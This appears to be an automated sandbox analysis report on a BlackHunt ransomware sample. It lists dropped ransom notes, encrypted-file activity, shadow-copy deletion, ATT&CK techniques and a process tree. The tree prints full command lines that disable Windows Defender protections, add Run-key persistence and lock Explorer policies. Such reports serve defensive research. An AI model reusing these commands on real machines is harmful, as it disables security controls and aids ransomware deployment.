File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_zh_CN.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guyana	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-cli.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-profiling.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\Java\jre7\lib\zi\Indian\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Belem	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Creston	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiler.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Berlin	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterBold.ttf	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Jujuy	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_zh_4.4.0.v20140623020002.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-views.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\README.TXT	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-charts.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_zh_CN.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1472	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2216	vssadmin.exe
2436	vssadmin.exe
376	vssadmin.exe
1544	vssadmin.exe
2412	vssadmin.exe
2860	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2896	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1524	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3140	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeRestorePrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeBackupPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeTakeOwnershipPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeAuditPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeSecurityPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeIncBasePriorityPrivilege	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Token: SeBackupPrivilege	1564	vssvc.exe
Token: SeRestorePrivilege	1564	vssvc.exe
Token: SeAuditPrivilege	1564	vssvc.exe
Token: SeBackupPrivilege	2208	wbengine.exe
Token: SeRestorePrivilege	2208	wbengine.exe
Token: SeSecurityPrivilege	2208	wbengine.exe
Token: SeSecurityPrivilege	3764	wevtutil.exe
Token: SeBackupPrivilege	3764	wevtutil.exe
Token: SeSecurityPrivilege	3660	wevtutil.exe
Token: SeBackupPrivilege	3660	wevtutil.exe
Token: SeSecurityPrivilege	352	wevtutil.exe
Token: SeBackupPrivilege	352	wevtutil.exe
Token: SeSecurityPrivilege	2368	wevtutil.exe
Token: SeSecurityPrivilege	2464	wevtutil.exe
Token: SeBackupPrivilege	2368	wevtutil.exe
Token: SeBackupPrivilege	2464	wevtutil.exe
Token: SeDebugPrivilege	2896	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2060	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	31
PID 2108 wrote to memory of 2060	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	31
PID 2108 wrote to memory of 2060	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	31
PID 2108 wrote to memory of 2060	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	31
PID 2108 wrote to memory of 1628	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	29
PID 2108 wrote to memory of 1628	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	29
PID 2108 wrote to memory of 1628	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	29
PID 2108 wrote to memory of 1628	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	29
PID 2108 wrote to memory of 2804	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	33
PID 2108 wrote to memory of 2804	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	33
PID 2108 wrote to memory of 2804	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	33
PID 2108 wrote to memory of 2804	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	33
PID 2060 wrote to memory of 2816	2060	cmd.exe	34
PID 2060 wrote to memory of 2816	2060	cmd.exe	34
PID 2060 wrote to memory of 2816	2060	cmd.exe	34
PID 2108 wrote to memory of 2844	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	36
PID 2108 wrote to memory of 2844	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	36
PID 2108 wrote to memory of 2844	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	36
PID 2108 wrote to memory of 2844	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	36
PID 2108 wrote to memory of 2716	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	38
PID 2108 wrote to memory of 2716	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	38
PID 2108 wrote to memory of 2716	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	38
PID 2108 wrote to memory of 2716	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	38
PID 1628 wrote to memory of 2752	1628	cmd.exe	40
PID 1628 wrote to memory of 2752	1628	cmd.exe	40
PID 1628 wrote to memory of 2752	1628	cmd.exe	40
PID 2108 wrote to memory of 2400	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	41
PID 2108 wrote to memory of 2400	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	41
PID 2108 wrote to memory of 2400	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	41
PID 2108 wrote to memory of 2400	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	41
PID 2108 wrote to memory of 2624	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	42
PID 2108 wrote to memory of 2624	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	42
PID 2108 wrote to memory of 2624	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	42
PID 2108 wrote to memory of 2624	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	42
PID 2108 wrote to memory of 2896	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	44
PID 2108 wrote to memory of 2896	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	44
PID 2108 wrote to memory of 2896	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	44
PID 2108 wrote to memory of 2896	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	44
PID 2844 wrote to memory of 2812	2844	cmd.exe	48
PID 2844 wrote to memory of 2812	2844	cmd.exe	48
PID 2844 wrote to memory of 2812	2844	cmd.exe	48
PID 2108 wrote to memory of 2760	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	49
PID 2108 wrote to memory of 2760	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	49
PID 2108 wrote to memory of 2760	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	49
PID 2108 wrote to memory of 2760	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	49
PID 2804 wrote to memory of 2728	2804	cmd.exe	47
PID 2804 wrote to memory of 2728	2804	cmd.exe	47
PID 2804 wrote to memory of 2728	2804	cmd.exe	47
PID 2108 wrote to memory of 2644	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	50
PID 2108 wrote to memory of 2644	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	50
PID 2108 wrote to memory of 2644	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	50
PID 2108 wrote to memory of 2644	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	50
PID 2716 wrote to memory of 2516	2716	cmd.exe	51
PID 2716 wrote to memory of 2516	2716	cmd.exe	51
PID 2716 wrote to memory of 2516	2716	cmd.exe	51
PID 2108 wrote to memory of 2584	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	52
PID 2108 wrote to memory of 2584	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	52
PID 2108 wrote to memory of 2584	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	52
PID 2108 wrote to memory of 2584	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	52
PID 2108 wrote to memory of 1816	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	56
PID 2108 wrote to memory of 1816	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	56
PID 2108 wrote to memory of 1816	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	56
PID 2108 wrote to memory of 1816	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	56
PID 2108 wrote to memory of 2640	2108	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
"C:\Users\Admin\AppData\Local\Temp\d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:332
